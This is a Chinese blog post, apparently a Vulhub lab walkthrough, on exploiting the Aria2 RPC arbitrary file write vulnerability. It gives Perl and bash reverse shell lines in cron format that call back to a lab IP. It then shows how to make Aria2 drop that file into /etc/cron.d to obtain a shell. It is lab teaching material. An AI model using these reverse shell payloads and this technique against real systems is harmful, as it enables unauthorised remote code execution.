Vulhub 漏洞学习之:Aria2

1 Aria2 任意文件写入漏洞

Aria2是一个命令行下轻量级、多协议、多来源的下载工具(支持 HTTP/HTTPS、FTP、BitTorrent、Metalink),内建XML-RPC和JSON-RPC接口。在有权限的情况下,我们可以使用RPC接口来操作aria2来下载文件,将文件下载至任意目录,造成一个任意文件写入漏洞。

aria2 的 rpc 服务的默认端口是6800。

参考文章:https://paper.seebug.org/120/

1.1 漏洞利用

  1. 访问http://192.168.210.13:6800/,发现服务已启动并且返回404页面。

  2. 搭建一个文件服务器,并创建好 shell 反弹脚本:

    */1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.210.10";$p=3333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
    # 以下方式无法反弹,目前不太清楚原因,哪位大佬知道,可否告知小弟学习下
    */1 * * * * root /bin/bash -i >& /dev/tcp/192.168.210.10/2333 0>&1 # 指定了脚本运行环境,依然无法执行反弹
    #!/bin/bash
    /bin/bash -i >& /dev/tcp/192.168.210.10/2333 0>&1
    • 如果反弹不成功,注意crontab文件的格式,以及换行符必须是\n,且文件结尾需要有一个换行符。

  3. 因为rpc通信需要使用json或者xml,不太方便,所以我们可以借助第三方UI来和目标通信,如 http://binux.github.io/yaaw/demo/

  4. 打开yaaw,点击配置按钮,配置如下:

    填入运行aria2的目标域名:http://192.168.210.13:6800/jsonrpc

  5. 然后点击Add,增加一个新的下载任务。在Dir的位置填写下载至的目录,File Name处填写文件名。比如,我们通过写入一个crond任务来反弹shell:

    Upload Torrent填写放shell的url
    File Name填写shell的文件名
    Dir为要下载到的位置:/etc/cron.d

  6. 点击 Add 后,arai2会将恶意文件下载到/etc/cron.d/目录下,文件名为shell。而在debian中,/etc/cron.d目录下的所有文件将被作为计划任务配置文件(类似crontab)读取,等待一分钟不到即成功反弹shell

最新文章

  1. eclipse中ctrl+h默认打开是JavaSearch,怎么设置成默认打开是FileSearch
  2. Java 获取两个日期之间的日期
  3. RichTextBox着色与着色不闪
  4. JavaScript作用域原理(一)——作用域链
  5. 【POI】使用POI处理xlsx的cell中的超链接 和 插入图片 和 设置打印区域
  6. 题目1006:ZOJ问题
  7. BZOJ3211 花神游历各国
  8. serv-u and hway3.0
  9. 【转】BAT及各大互联网公司2014前端笔试面试题:JavaScript篇
  10. 掌握 Linux 调试技术
  11. ANDROID 开机启动VNC SERVER
  12. 《windows程序设计》学习_2.1:初识消息
  13. Matlab与.NET混合编程解决人脸识别问题
  14. CSharp设计模式读书笔记(20):观察者模式(学习难度:★★★☆☆,使用频率:★★★★★)
  15. STM32F2系列低功耗总结
  16. 《深入分析Java web技术内幕》读书笔记(一)
  17. Linux中各个文件的作用
  18. Logistic回归Cost函数和J(θ)的推导----Andrew Ng【machine learning】公开课
  19. Java线程池 / Executor / Callable / Future
  20. DBWritable的使用

热门文章

  1. ArcEngine要素编辑遇到的一些问题
  2. 【Java SE】Day10接口、多态
  3. echarts map地图中绘制浙江省市区县乡镇多级联动边界下钻的最新geojson数据文件获取和更新
  4. 命令指定IP端口号
  5. Jmeter之非GUI下执行脚本
  6. 02- 快速入门MybatisPlus
  7. 交互式仪表板!Python轻松完成!⛵
  8. 一个开放源代码,实现动态IL注入(Hook或补丁工具)框架:Lib.Harmony(Patch,PatchAll,Prefix,Postfix,Transpiler)
  9. Js生成图片验证码
  10. 根号分治简单笔记 | P3396 哈希冲突